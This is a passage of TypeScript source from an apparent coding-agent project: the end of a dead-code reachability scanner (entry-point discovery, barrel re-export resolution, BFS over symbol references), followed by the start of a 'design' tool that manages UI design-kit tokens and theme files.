extractPnpmWorkspaceDirs(projectRoot);\n }\n } else {\n workspaces = [];\n }\n for (const wsDir of workspaces) {\n const pkgJsonPath = path.join(wsDir, 'package.json');\n const pkg = tryReadJson(pkgJsonPath);\n if (pkg) {\n addPkgJsonEntryPoints(wsDir, pkg, entries);\n // Convention: src/index.ts\n const convention1 = path.join(wsDir, 'src', 'index.ts');\n if (fs.existsSync(convention1)) entries.add(convention1);\n const convention2 = path.join(wsDir, 'src', 'main.ts');\n if (fs.existsSync(convention2)) entries.add(convention2);\n const convention3 = path.join(wsDir, 'index.ts');\n if (fs.existsSync(convention3)) entries.add(convention3);\n }\n }\n\n // 4. Root conventions (for non-package projects).\n if (!rootPkg || !workspaces.length) {\n for (const name of ['src/index.ts', 'src/main.ts', 'index.ts']) {\n const convention = path.join(projectRoot, name);\n if (fs.existsSync(convention)) entries.add(convention);\n }\n }\n\n return [...entries];\n}\n\n/**\n * Known build-output directory names that may have equivalent source\n * directories under `src/`. Used by {@link trySourceEquivalent} to map\n * compiled paths back to their source files.\n */\nconst BUILD_OUTPUT_DIRS = ['dist', 'out', 'build', 'release'] as const;\n\n/**\n * Known build-output directory names. Used by {@link trySourceEquivalent}.\n */\nconst BUILD_OUTPUT_DIR_NAMES = BUILD_OUTPUT_DIRS.map((d) => `${path.sep}${d}${path.sep}`);\n\n/**\n * Given a resolved path that points into a build-output directory (e.g.\n * `<pkgDir>/dist/main/main.js`), try to find the corresponding source file\n * under `src/` with a `.ts` extension.\n *\n * Examples:\n * `<pkgDir>/dist/main/main.js` \u2192 `<pkgDir>/src/main/main.ts`\n * `<pkgDir>/out/index.mjs` \u2192 `<pkgDir>/src/index.ts`\n * `<pkgDir>/build/cli.cjs` \u2192 `<pkgDir>/src/cli.ts`\n *\n * Returns the first existing source path, or null if none is found.\n */\nfunction trySourceEquivalent(resolved: string): string | null {\n // Normalize path separators so BUILD_OUTPUT_DIR_NAMES (built with path.sep)\n // matches regardless of how paths are stored in the index or config.\n resolved = resolved.replace(/[/\\\\]/g, path.sep);\n for (const marker of BUILD_OUTPUT_DIR_NAMES) {\n const idx = resolved.indexOf(marker);\n if (idx === -1) continue;\n\n // `marker` already includes leading and trailing path.sep (e.g. `/dist/`),\n // so `idx` points to that leading separator. The character `idx - 1` is\n // the last char of the parent directory \u2014 NOT a separator \u2014 so checking\n // `idx > 0 && resolved[idx - 1] !== path.sep` would *always* reject valid\n // matches. The leading+trailing separators in the marker already enforce\n // segment boundaries: `/my-dist/` would map to a non-existent `src/` path\n // which `fs.existsSync` catches harmlessly below.\n const base = resolved.replace(marker, `${path.sep}src${path.sep}`);\n\n // 1. Replace .js/.mjs/.cjs \u2192 .ts\n const candidate = base.replace(/\\.(js|mjs|cjs)$/, '.ts');\n if (candidate !== base && fs.existsSync(candidate)) {\n return candidate;\n }\n\n // 2. Strip .d.ts first, then append .ts (catches e.g. dist/index.d.ts \u2192 src/index.ts)\n const dtsStripped = base.replace(/\\.d\\.ts$/, '');\n const candidateDts = dtsStripped + '.ts';\n if (candidateDts !== base && candidateDts !== candidate && fs.existsSync(candidateDts)) {\n return candidateDts;\n }\n\n // 3. Plain `.ts` appended when path had no JS extension (e.g. dist/main \u2192 src/main.ts).\n // Skips when branch 2 already checked this same path (no .d.ts extension).\n const candidateNoExt = base + '.ts';\n if (\n candidate !== candidateNoExt &&\n candidateNoExt !== candidateDts &&\n fs.existsSync(candidateNoExt)\n ) {\n return candidateNoExt;\n }\n }\n return null;\n}\n\n/**\n * Resolve a path string from a package.json field, add it to entries if it\n * exists, and also try the src/ equivalent when the path points to a\n * build-output directory (dist/out/build/release).\n */\nfunction tryAddEntryPath(pkgDir: string, rawPath: string, entries: Set<string>): void {\n const resolved = resolveAgainst(pkgDir, rawPath);\n if (fs.existsSync(resolved)) entries.add(resolved);\n\n // Try .ts extension (for .js/.mjs/.cjs paths).\n const tsResolved = resolved.replace(/\\.(js|mjs|cjs)$/, '.ts');\n if (tsResolved !== resolved && fs.existsSync(tsResolved)) {\n entries.add(tsResolved);\n }\n\n // Try source equivalent under src/ (e.g. dist/main/main.js \u2192 src/main/main.ts).\n // This catches packages like Electron apps whose \"main\" field points to the\n // compiled output rather than the TypeScript source.\n // Runs even when the .ts sibling check above succeeded, because the build-output\n // dir might contain a stale .d.ts while the real source lives under src/.\n const srcAlt = trySourceEquivalent(resolved);\n if (srcAlt) entries.add(srcAlt);\n}\n\nfunction addPkgJsonEntryPoints(\n pkgDir: string,\n pkg: Record<string, unknown>,\n entries: Set<string>,\n): void {\n // main\n if (typeof pkg.main === 'string') {\n tryAddEntryPath(pkgDir, pkg.main, entries);\n }\n\n // bin\n const bin = pkg.bin;\n if (typeof bin === 'string') {\n tryAddEntryPath(pkgDir, bin, entries);\n } else if (bin && typeof bin === 'object') {\n for (const value of Object.values(bin)) {\n if (typeof value === 'string') {\n tryAddEntryPath(pkgDir, value, entries);\n }\n }\n }\n\n // types / typings\n for (const key of ['types', 'typings'] as const) {\n if (typeof pkg[key] === 'string') {\n tryAddEntryPath(pkgDir, pkg[key] as string, entries);\n }\n }\n\n // exports\n const exports_ = pkg.exports;\n if (exports_ && typeof exports_ === 'object') {\n for (const value of Object.values(exports_ as Record<string, unknown>)) {\n if (typeof value === 'string') {\n tryAddEntryPath(pkgDir, value, entries);\n } else if (value && typeof value === 'object') {\n // Nested export condition: { \"import\": \"./dist/foo.js\", \"types\": ... }\n for (const nested of Object.values(value as Record<string, unknown>)) {\n if (typeof nested === 'string') {\n tryAddEntryPath(pkgDir, nested, entries);\n }\n }\n }\n }\n }\n}\n\nfunction expandGlobPattern(entry: string, projectRoot: string): string[] {\n const dirs: string[] = [];\n if (entry.includes('*')) {\n const base = entry.replace(/\\/\\*+$/, '');\n const baseDir = path.resolve(projectRoot, base);\n try {\n const children = fs.readdirSync(baseDir, { withFileTypes: true });\n for (const child of children) {\n if (child.isDirectory()) {\n dirs.push(path.join(baseDir, child.name));\n }\n }\n } catch {\n // ignore missing dirs\n }\n } else {\n dirs.push(path.resolve(projectRoot, entry));\n }\n return dirs;\n}\n\nfunction extractWorkspaceGlobs(pkg: Record<string, unknown>, projectRoot: string): string[] {\n const dirs: string[] = [];\n const workspaces = pkg.workspaces;\n if (Array.isArray(workspaces)) {\n for (const entry of workspaces) {\n if (typeof entry === 'string') {\n dirs.push(...expandGlobPattern(entry, projectRoot));\n }\n }\n }\n return dirs;\n}\n\n/**\n * Read workspace directories from `pnpm-workspace.yaml` when the root\n * package.json does not have a `workspaces` field (pnpm default layout).\n * Parses the `packages:` list \u2014 each entry is a glob string that gets\n * expanded the same way as package.json workspaces entries.\n *\n * Uses a line-by-line context tracker so only list items nested under\n * the `packages:` key are collected \u2014 items under other top-level keys\n * (e.g. `onlyBuiltDependencies:`) are correctly ignored.\n */\nfunction extractPnpmWorkspaceDirs(projectRoot: string): string[] {\n const yamlPath = path.join(projectRoot, 'pnpm-workspace.yaml');\n if (!fs.existsSync(yamlPath)) return [];\n\n try {\n const content = fs.readFileSync(yamlPath, 'utf8');\n const dirs: string[] = [];\n let inPackages = false;\n const lines = content.split('\\n');\n // Regex for a list item: whitespace, dash, optional space, then optional\n // quoted or bare value.\n const itemRe = /^\\s+-\\s+\"([^\"]+)\"|^\\s+-\\s+'([^']+)'|^\\s+-\\s+(\\S+)/;\n for (const line of lines) {\n const trimmed = line.trim();\n\n // Detect `packages:` key at any indent level.\n if (/^packages\\s*:\\s*$/.test(trimmed)) {\n inPackages = true;\n continue;\n }\n\n // Any other top-level key (no leading whitespace) ends the packages section.\n if (inPackages && trimmed.length > 0 && !line.startsWith(' ') && !line.startsWith('\\t')) {\n if (!trimmed.startsWith('-')) {\n inPackages = false;\n continue;\n }\n }\n\n // Collect list items when inside the packages block.\n if (inPackages) {\n const m = itemRe.exec(line);\n if (m) {\n const entry = m[1] ?? m[2] ?? m[3];\n if (entry) {\n dirs.push(...expandGlobPattern(entry, projectRoot));\n }\n }\n }\n }\n return dirs;\n } catch {\n return [];\n }\n}\n\n// \u2500\u2500\u2500 BFS reachability scan \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ninterface SymbolRow {\n id: number;\n name: string;\n file: string;\n kind: string;\n line: number;\n}\n\ninterface RefsRow {\n fromId: number;\n toId: number;\n callType: string;\n}\n\n/**\n * Try to resolve a relative module specifier (e.g. './foo', '../bar/index.js')\n * against an importing file's directory to find an indexed source file.\n *\n * Tries these extensions in order: .ts, .tsx, .js, .jsx, /index.ts, /index.tsx,\n * /index.js, /index.jsx. Strips .js/.jsx/.mjs/.cjs \u2192 .ts/.tsx for the common pattern\n * where source is TypeScript but the import specifier references the compiled\n * output (e.g. `import { X } from './foo.js'` \u2192 resolves to `./foo.ts`).\n *\n * Returns the absolute paths of all matching indexed files, or an empty array.\n */\nfunction resolveModulePath(\n importerPath: string,\n moduleSpecifier: string,\n indexedFiles: ReadonlySet<string>,\n): string[] {\n // Only handle relative paths \u2014 bare specifiers (package names) can't be\n // resolved locally.\n if (!moduleSpecifier.startsWith('.')) return [];\n\n const dir = path.dirname(importerPath);\n const base = path.resolve(dir, moduleSpecifier);\n const results: string[] = [];\n\n // Strip common extensions \u2192 bare base so we try cross-extension equivalents.\n // Include .ts/.tsx so specifiers like `./foo.ts` are handled the same way\n // as `./foo.js`.\n const stripped = base.replace(/\\.(ts|tsx|js|jsx|mjs|cjs)$/, '');\n // When the original path already has one of the known extensions we try\n // below, skip the `base` iteration \u2014 `stripped` already covers all the\n // extension variants, and retrying with the original extension appended\n // (e.g. `foo.ts.ts`) would only produce pointless Set.has() misses.\n const skipBase = stripped !== base && /\\.(ts|tsx|js|jsx|mjs|cjs)$/.test(base);\n const candidates = skipBase ? [stripped] : [base];\n\n for (const candidate of candidates) {\n if (indexedFiles.has(candidate + '.ts')) results.push(candidate + '.ts');\n if (indexedFiles.has(candidate + '.tsx')) results.push(candidate + '.tsx');\n if (indexedFiles.has(candidate + '.js')) results.push(candidate + '.js');\n if (indexedFiles.has(candidate + '.jsx')) results.push(candidate + '.jsx');\n if (indexedFiles.has(candidate + '.mjs')) results.push(candidate + '.mjs');\n if (indexedFiles.has(candidate + '.cjs')) results.push(candidate + '.cjs');\n\n // Try /index.{ts,tsx,js,jsx,mjs,cjs}\n if (indexedFiles.has(path.join(candidate, 'index.ts')))\n results.push(path.join(candidate, 'index.ts'));\n if (indexedFiles.has(path.join(candidate, 'index.tsx')))\n results.push(path.join(candidate, 'index.tsx'));\n if (indexedFiles.has(path.join(candidate, 'index.js')))\n results.push(path.join(candidate, 'index.js'));\n if (indexedFiles.has(path.join(candidate, 'index.jsx')))\n results.push(path.join(candidate, 'index.jsx'));\n if (indexedFiles.has(path.join(candidate, 'index.mjs')))\n results.push(path.join(candidate, 'index.mjs'));\n if (indexedFiles.has(path.join(candidate, 'index.cjs')))\n results.push(path.join(candidate, 'index.cjs'));\n }\n\n return [...new Set(results)];\n}\n\n/**\n * Parse the specific symbol names from a named re-export statement like:\n * export { X, Y } from './M' \u2192 ['X', 'Y']\n * export { X as Y, type Z } from './M' \u2192 ['X', 'Z']\n * export type { X } from './M' \u2192 ['X']\n *\n * Returns `null` for wildcard re-exports (`export * from './M'` or\n * `export * as X from './M'`) since those legitimately re-export all symbols.\n */\nfunction parseNamedExportSymbols(matchText: string): string[] | null {\n const braceStart = matchText.indexOf('{');\n if (braceStart === -1) return null; // wildcard export\n\n const braceEnd = matchText.indexOf('}', braceStart);\n if (braceEnd === -1) return null;\n\n const inner = matchText.slice(braceStart + 1, braceEnd);\n const symbols: string[] = [];\n\n for (const part of inner.split(',')) {\n let s = part.trim();\n if (!s) continue;\n // Strip inline 'type ' modifier (e.g. \"type X\" \u2192 \"X\")\n s = s.replace(/^type\\s+/, '');\n // Handle 'X as Y' \u2014 extract X (the source symbol name)\n const asIdx = s.search(/\\s+as\\s+/);\n if (asIdx !== -1) {\n s = s.slice(0, asIdx).trim();\n }\n if (s) symbols.push(s);\n }\n\n return symbols;\n}\n\nexport function runDeadCodeScan(\n projectRoot: string,\n opts: {\n indexDir?: string | undefined;\n userEntryPoints?: string[] | undefined;\n // Allow injecting a store for testing.\n store?: IndexStore | undefined;\n } = {},\n): DeadCodeScanOutput {\n const store = opts.store ?? indexStorePool.acquire(projectRoot, { indexDir: opts.indexDir });\n\n try {\n // Phase 1: load the full symbol universe + refs graph.\n const allSymbols: SymbolRow[] = store.getAllSymbols();\n const allRefs: RefsRow[] = store.getAllResolvedRefs();\n\n // Build lookup: id \u2192 symbol\n const symbolById = new Map<number, SymbolRow>();\n for (const s of allSymbols) {\n symbolById.set(s.id, s);\n }\n\n // Build reference index: fromId \u2192 Set<toId> (symbols THIS symbol references)\n const references = new Map<number, Set<number>>();\n for (const ref of allRefs) {\n let set = references.get(ref.fromId);\n if (!set) {\n set = new Set();\n references.set(ref.fromId, set);\n }\n set.add(ref.toId);\n }\n\n // Phase 2: discover entry points and map to symbol ids.\n const discoveredFiles = discoverEntryPoints(projectRoot, opts.userEntryPoints);\n const entryFileSet = new Set(discoveredFiles.map((f) => path.resolve(f)));\n\n // Build a set of all indexed files for module-path resolution.\n // We need both files with symbols AND files without (pure barrels) so\n // resolveModulePath can find intermediate barrels in re-export chains.\n const indexedFiles = new Set<string>();\n for (const s of allSymbols) indexedFiles.add(s.file);\n for (const fm of store.getAllFileMetas()) indexedFiles.add(fm.file);\n\n // Map entry files to their symbol ids.\n const seedIds = new Set<number>();\n for (const s of allSymbols) {\n if (entryFileSet.has(s.file)) {\n seedIds.add(s.id);\n }\n }\n\n // \u2500\u2500 Pre-build lookups for O(1) access \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n const fileToSymbolIds = new Map<string, number[]>();\n for (const s of allSymbols) {\n let byFile = fileToSymbolIds.get(s.file);\n if (!byFile) {\n byFile = [];\n fileToSymbolIds.set(s.file, byFile);\n }\n byFile.push(s.id);\n }\n\n // \u2500\u2500 Recursive barrel-file scanner \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n // The ts-parser stores re-export refs (`export { X } from '..'`,\n // `export * from '..'`) with fromId=0 \u2014 file-level, not attached to\n // any specific symbol. The BFS below only traverses refs from symbol\n // ids (\u22651), so fromId=0 refs are never visited.\n //\n // For **pure** barrels (zero own declarations), the refs never enter the\n // database because assignRefsToSymbols returns [] when symbols is empty.\n // The regex-based scanner seeds those symbols directly.\n //\n // For **mixed** barrels (declarations + re-exports), assignRefsToSymbols\n // attaches the re-export ref to the first declaration (ordered[0]) so\n // the BFS CAN follow them. The scanner is idempotent over mixed barrels\n // (redundant but harmless due to Set.add) and only runs when the file\n // is in the entryFileSet anyway. We keep scanning all entry files for\n // simplicity \u2014 the overhead is negligible.\n const scannedBarrels = new Set<string>();\n const barrelWorkList = [...entryFileSet];\n while (barrelWorkList.length > 0) {\n const epFile = barrelWorkList.pop()!;\n if (scannedBarrels.has(epFile)) continue;\n scannedBarrels.add(epFile);\n\n try {\n const content = fs.readFileSync(epFile, 'utf8');\n // Strip comments (not strings!) so the re-export regex doesn't get\n // fooled by commented-out exports but can still match module paths\n // like `'./a'` inside `export { X } from '<modulePath>'`.\n // Stripping strings would destroy those module specifiers.\n const strippedContent = content\n .replace(/\\/\\*[\\s\\S]*?\\*\\//g, (m) => ' '.repeat(m.length))\n .replace(/\\/\\/[^\\n]*/g, (m) => ' '.repeat(m.length));\n // Match: export { X } from '..' (single/multi-line),\n // export type { X } from '..', export * from '..', export * as X from '..'\n // [\\s\\S]*? spans newlines so multi-line export blocks match.\n // Note: module specifiers containing embedded quotes (e.g. \"module's\")\n // are not supported \u2014 [^'\"]+ stops at the embedded quote. This is an\n // accepted limitation because module paths with quotes are vanishingly\n // rare in practice and would only result in a false-positive dead report\n // for that single file while the rest of the chain is unaffected.\n const reExportRe =\n /export\\s+(?:(?:type\\s+)?\\{[\\s\\S]*?\\}\\s+from|\\*\\s+as\\s+\\w+\\s+from|\\*\\s+from)\\s+['\"]([^'\"]+)['\"]/g;\n let match: RegExpExecArray | null;\n while ((match = reExportRe.exec(strippedContent)) !== null) {\n const moduleSpec = match[1]!;\n const resolvedFiles = resolveModulePath(epFile, moduleSpec, indexedFiles);\n for (const rf of resolvedFiles) {\n const fileSyms = fileToSymbolIds.get(rf);\n if (fileSyms) {\n // Named re-export (export { X } from ...) \u2192 only seed\n // matching symbols. Wildcard (export * from ...) \u2192\n // seed all symbols from the source file.\n const namedSymbols = parseNamedExportSymbols(match[0]);\n if (namedSymbols) {\n const nameSet = new Set(namedSymbols);\n for (const sid of fileSyms) {\n const sym = symbolById.get(sid);\n if (sym && nameSet.has(sym.name)) seedIds.add(sid);\n }\n } else {\n for (const sid of fileSyms) seedIds.add(sid);\n }\n }\n // If the resolved file hasn't been scanned yet, add it to the\n // work list for recursive scanning \u2014 re-export chains may go\n // through mixed barrels whose fromId=0 refs the BFS can't follow.\n if (!scannedBarrels.has(rf)) {\n barrelWorkList.push(rf);\n }\n }\n }\n } catch (err) {\n // Silently skip files that can't be read (deleted, moved, binary).\n // A few false-negative dead reports from one barrel is better than\n // crashing the scan over an I/O glitch.\n if (err instanceof Error && (err as NodeJS.ErrnoException).code !== 'ENOENT') {\n console.warn(\n JSON.stringify({\n level: 'warn',\n event: 'dead_code_scan_barrel_read_failed',\n message: err.message,\n file: epFile,\n timestamp: new Date().toISOString(),\n }),\n );\n }\n }\n }\n\n // Phase 3: BFS traversal from seed symbols.\n // alive = every symbol transitively reachable from an entry point via refs.\n const alive = new Set<number>(seedIds);\n const frontier = [...seedIds];\n\n // Track which refs we've already traversed to avoid revisiting.\n const visitedEdges = new Set<string>();\n\n while (frontier.length > 0) {\n const current = frontier.pop()!;\n // Follow outgoing edges: what does THIS symbol reference?\n const outgoing = references.get(current);\n if (!outgoing) continue;\n\n for (const toId of outgoing) {\n const edgeKey = `${current}->${toId}`;\n if (visitedEdges.has(edgeKey)) continue;\n visitedEdges.add(edgeKey);\n\n if (!alive.has(toId)) {\n alive.add(toId);\n frontier.push(toId);\n }\n }\n }\n\n // Phase 4: classify dead symbols.\n const dead: DeadSymbol[] = [];\n const symbolsByFile = new Map<string, SymbolRow[]>();\n const usedFiles = new Set<string>();\n\n for (const s of allSymbols) {\n if (alive.has(s.id)) {\n usedFiles.add(s.file);\n continue;\n }\n // Only report symbols that are exported or could be externally relevant.\n // Skip pure-internal things like parameters, local vars that can't be \"dead\".\n if (s.kind === 'parameter') continue;\n if (s.kind === 'let' || s.kind === 'var') {\n // Local variables are only dead if the whole file is dead \u2014 handled by deadFiles.\n continue;\n }\n\n const reason: DeadSymbol['reason'] = 'unreferenced';\n dead.push({\n name: s.name,\n kind: s.kind as SymbolKind,\n lang: detectLang(s.file) ?? ('ts' as SymbolLang),\n file: s.file,\n line: s.line,\n reason,\n });\n\n let fileSymbols = symbolsByFile.get(s.file);\n if (!fileSymbols) {\n fileSymbols = [];\n symbolsByFile.set(s.file, fileSymbols);\n }\n fileSymbols.push(s);\n }\n\n // Phase 5: classify dead files (all their symbols are dead).\n const deadFiles: DeadFile[] = [];\n for (const [file, syms] of symbolsByFile) {\n // Check if any symbol from this file is alive.\n let anyAlive = false;\n for (const s of allSymbols) {\n if (s.file === file && alive.has(s.id)) {\n anyAlive = true;\n break;\n }\n }\n if (!anyAlive) {\n deadFiles.push({\n file,\n symbolCount: syms.length,\n lang: detectLang(file) ?? 'ts',\n });\n }\n }\n\n // Phase 6: classify dead packages.\n // A package is dead if ALL its files have zero used symbols.\n const deadPackages: DeadPackage[] = [];\n const pkgEntries = findPackageEntries(projectRoot);\n for (const [pkgName, pkgDir] of pkgEntries) {\n const pkgFiles = allSymbols.filter((s) => s.file.startsWith(pkgDir + path.sep));\n if (pkgFiles.length === 0) continue;\n const pkgUsed = pkgFiles.filter((s) => alive.has(s.id));\n if (pkgUsed.length === 0) {\n // All files in this package are dead.\n const uniqueFiles = new Set(pkgFiles.map((s) => s.file));\n deadPackages.push({\n package: pkgName,\n path: pkgDir,\n fileCount: uniqueFiles.size,\n });\n }\n }\n\n // Sort: unreferenced-export first, then by file path.\n dead.sort((a, b) => {\n if (a.reason !== b.reason) return a.reason === 'unreferenced-export' ? -1 : 1;\n return a.file.localeCompare(b.file) || a.line - b.line;\n });\n\n return {\n deadSymbols: dead,\n deadFiles,\n deadPackages,\n entryPoints: discoveredFiles,\n stats: {\n totalSymbols: allSymbols.length,\n alive: alive.size,\n dead: dead.length,\n durationMs: 0,\n },\n };\n } finally {\n if (!opts.store) {\n indexStorePool.release(store);\n }\n }\n}\n\n// \u2500\u2500\u2500 Package discovery helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction findPackageEntries(projectRoot: string): Map<string, string> {\n const pkgMap = new Map<string, string>();\n\n // Root package\n const rootPkg = tryReadJson(path.join(projectRoot, 'package.json'));\n if (rootPkg && typeof rootPkg.name === 'string') {\n pkgMap.set(rootPkg.name, projectRoot);\n }\n\n // Workspace packages\n if (rootPkg) {\n let wsDirs = extractWorkspaceGlobs(rootPkg, projectRoot);\n if (wsDirs.length === 0) {\n wsDirs = extractPnpmWorkspaceDirs(projectRoot);\n }\n for (const wsDir of wsDirs) {\n const wsPkg = tryReadJson(path.join(wsDir, 'package.json'));\n if (wsPkg && typeof wsPkg.name === 'string') {\n pkgMap.set(wsPkg.name, wsDir);\n }\n }\n }\n\n return pkgMap;\n}\n", "import * as fs from 'node:fs/promises';\nimport * as path from 'node:path';\nimport type { DesignStack } from '@wrongstack/core/design';\nimport type { Tool } from '@wrongstack/core/types';\nimport {\n applyTokenOverrides,\n getDesignKitLoader,\n isDesignStack,\n loadActiveKit,\n materializeTokens,\n recordKitChoice,\n recordOverrides,\n resolveSemanticTune,\n runDesignVerify,\n type SemanticTune,\n setActiveKit,\n setDesignOverrides,\n} from '@wrongstack/core/design';\n\ntype Overrides = Record<string, string>;\n\n/**\n * Canonicalize `p` through `fs.realpath` so symlinks / bind mounts don't\n * hide out-of-root writes. Falls back to `path.resolve(p)` when the path\n * (or any of its parents) doesn't exist yet \u2014 callers frequently pass a\n * destination that the tool is about to write.\n */\nasync function resolveReal(p: string): Promise<string> {\n const resolved = path.resolve(p);\n let probe = resolved;\n const missing: string[] = [];\n for (;;) {\n try {\n return path.resolve(await fs.realpath(probe), ...missing);\n } catch (err) {\n if ((err as NodeJS.ErrnoException).code === 'ENOENT') {\n const parent = path.dirname(probe);\n if (parent === probe) return resolved; // reached fs root\n missing.unshift(path.basename(probe));\n probe = parent;\n continue;\n }\n // Any other error (EACCES, EBUSY, \u2026) \u2014 fall back to the lexical\n // resolve rather than throwing, so the caller can still surface a\n // meaningful error from the path.relative check below.\n return resolved;\n }\n }\n}\n\ninterface DesignInput {\n action?: 'list' | 'use' | 'foundations' | 'set' | 'tune' | 'materialize' | 'verify' | undefined;\n kit?: string | undefined;\n stack?: string | undefined;\n /** action \"set\" / \"use\": token overrides, e.g. { primary: \"oklch(...)\", \"dark.bg\": \"#111\" }. */\n set?: Overrides | undefined;\n /** action \"tune\": high-level knobs, e.g. { radius:\"lg\", density:\"compact\", font:\"Space Grotesk\" }. */\n tune?: SemanticTune | undefined;\n /** action \"materialize\": output path (project-relative); defaults per stack. */\n out?: string | undefined;\n /** action \"materialize\": overwrite an existing file. */\n force?: boolean | undefined;\n /** action \"verify\": explicit files to scan (project-relative). Defaults to a UI-file walk. */\n files?: string[] | undefined;\n}\n\ninterface DesignOutput {\n action: string;\n kit?: string | undefined;\n stack?: string | undefined;\n output: string;\n /** action \"materialize\": where the theme file was (or would be) written. */\n path?: string | undefined;\n /** action \"verify\": adherence score 0..1 and violation count. */\n score?: number | undefined;\n violations?: number | undefined;\n}\n\nfunction normalizeOverrides(set: unknown): Overrides {\n const out: Overrides = {};\n if (set && typeof set === 'object') {\n for (const [k, v] of Object.entries(set as Record<string, unknown>)) {\n if (typeof v === 'string') out[k] = v;\n }\n }\n return out;\n}\n\n/**\n * Design Studio tool \u2014 progressive disclosure + token enforcement.\n *\n * `list`/`use`/`foundations` browse and pin kits. `set` records structured color\n * overrides (these win over kit tokens). `materialize` writes the active kit's\n * (override-applied) tokens to a real, stack-appropriate theme file so the\n * palette becomes the codebase's source of truth \u2014 not just a prompt hint.\n * `verify` scans UI files for off-palette drift.\n */\nexport const designTool: Tool<DesignInput, DesignOutput> = {\n name: 'design',\n category: 'Design',\n description:\n 'Browse, load, customize, and enforce curated frontend/mobile UI design kits. Use BEFORE writing ' +\n 'UI code to commit to one coherent, modern, responsive, dark/light, accessible design. Actions: ' +\n '\"list\" (menu), \"use\" (load+pin a kit for a stack), \"foundations\" (baseline), \"set\" (override kit ' +\n 'colors/tokens), \"materialize\" (write the tokens to a real theme file \u2014 CSS @theme/OKLCH or native), ' +\n '\"verify\" (scan UI files for off-palette colors).',\n usageHint:\n 'Flow: `design {action:\"use\", kit:\"minimal-clarity\", stack:\"web\"}` \u2192 optionally ' +\n '`design {action:\"set\", set:{primary:\"oklch(62% 0.2 25)\"}}` \u2192 `design {action:\"materialize\"}` ' +\n 'to write tokens to disk \u2192 implement against them \u2192 `design {action:\"verify\"}`.',\n permission: 'confirm',\n mutating: true,\n capabilities: ['fs.write'],\n timeoutMs: 15_000,\n inputSchema: {\n type: 'object',\n properties: {\n action: {\n type: 'string',\n enum: ['list', 'use', 'foundations', 'set', 'tune', 'materialize', 'verify'],\n description:\n 'list = menu; use = load+pin a kit; foundations = baseline; set = override colors/tokens; ' +\n 'tune = high-level knobs (radius/density/font/motion); materialize = write tokens to a theme ' +\n 'file; verify = scan UI for token drift. Default: list.',\n },\n kit: {\n type: 'string',\n description: 'Kit id (required for \"use\"), e.g. \"minimal-clarity\", \"neo-brutalist\".',\n },\n stack: {\n type: 'string',\n enum: ['web', 'react-native', 'flutter', 'swiftui', 'compose'],\n description: 'Target stack \u2014 narrows guidance + materialize format. Default: web.',\n },\n set: {\n type: 'object',\n description:\n 'Token overrides for \"set\"/\"use\": { \"primary\": \"oklch(\u2026)\", \"dark.bg\": \"#111\" }. Bare key = ' +\n 'both themes; \"light.\"/\"dark.\" prefix = that theme only. Empty value clears an override.',\n additionalProperties: { type: 'string' },\n },\n tune: {\n type: 'object',\n description:\n 'High-level knobs for \"tune\": { \"radius\": \"lg\", \"density\": \"compact\", \"font\": \"Space Grotesk\", ' +\n '\"motion\": \"snappy\" }. radius = none|sm|md|lg|xl|full or a base length; density = ' +\n 'compact|cozy|comfortable; motion = snappy|smooth|none. Resolved to concrete token overrides.',\n properties: {\n radius: { type: 'string' },\n density: { type: 'string' },\n font: { type: 'string' },\n motion: { type: 'string' },\n },\n },\n out: {\n type: 'string',\n description: 'Materialize output path (project-relative). Defaults to a per-stack convention.',\n },\n force: {\n type: 'boolean',\n description: 'Materialize: overwrite an existing file (default false \u2014 refuses to clobber).',\n },\n files: {\n type: 'array',\n items: { type: 'string' },\n description: 'Verify: explicit project-relative files to scan. Default: a bounded UI-file walk.',\n },\n },\n required: [],\n },\n async execute(input, ctx): Promise<DesignOutput> {\n const loader = getDesignKitLoader(ctx.projectRoot);\n const action = input.action ?? 'list';\n const stack: DesignStack | undefined =\n input.stack && isDesignStack(input.stack) ? input.stack : undefined;\n\n if (action === 'foundations') {\n const text = await loader.foundationsText(stack);\n return { action, stack, output: text || 'No foundations document is installed.' };\n }\n\n if (action === 'use') {\n const kitId = input.kit?.trim();\n if (!kitId) {\n const menu = await loader.menuText();\n return { action, output: `No kit id provided.\\n\\n${menu}` };\n }\n const manifest = await loader.find(kitId);\n if (!manifest) {\n const menu = await loader.menuText();\n return { action, kit: kitId, output: `Kit \"${kitId}\" not found.\\n\\n${menu}` };\n }\n const resolvedStack = stack ?? manifest.stacks[0] ?? 'web';\n const body = await loader.readBody(manifest.id, resolvedStack);\n const rawTokens = await loader.readTokens(manifest.id);\n // Preserve any persisted overrides; merge in any passed with `use`.\n const persisted = await loadActiveKit(ctx.projectRoot);\n const keepOverrides =\n persisted?.kit === manifest.id ? (persisted.overrides ?? {}) : {};\n const overrides: Overrides = { ...keepOverrides, ...normalizeOverrides(input.set) };\n const tokens = rawTokens ? applyTokenOverrides(rawTokens, overrides) : rawTokens;\n\n setActiveKit(ctx, manifest.id, resolvedStack, overrides);\n await recordKitChoice(\n ctx.projectRoot,\n manifest.id,\n resolvedStack,\n 'design-tool',\n new Date().toISOString(),\n Object.keys(overrides).length ? overrides : undefined,\n );\n\n const ovLine = Object.keys(overrides).length\n ? `\\nActive color overrides: ${Object.entries(overrides)\n .map(([k, v]) => `${k}=${v}`)\n .join(', ')}\\n`\n : '';\n const header =\n `# Active design kit: ${manifest.name} (${manifest.id}) \u2014 stack: ${resolvedStack}\\n` +\n `${manifest.aesthetic}\\n${ovLine}\\n` +\n 'Implement the UI 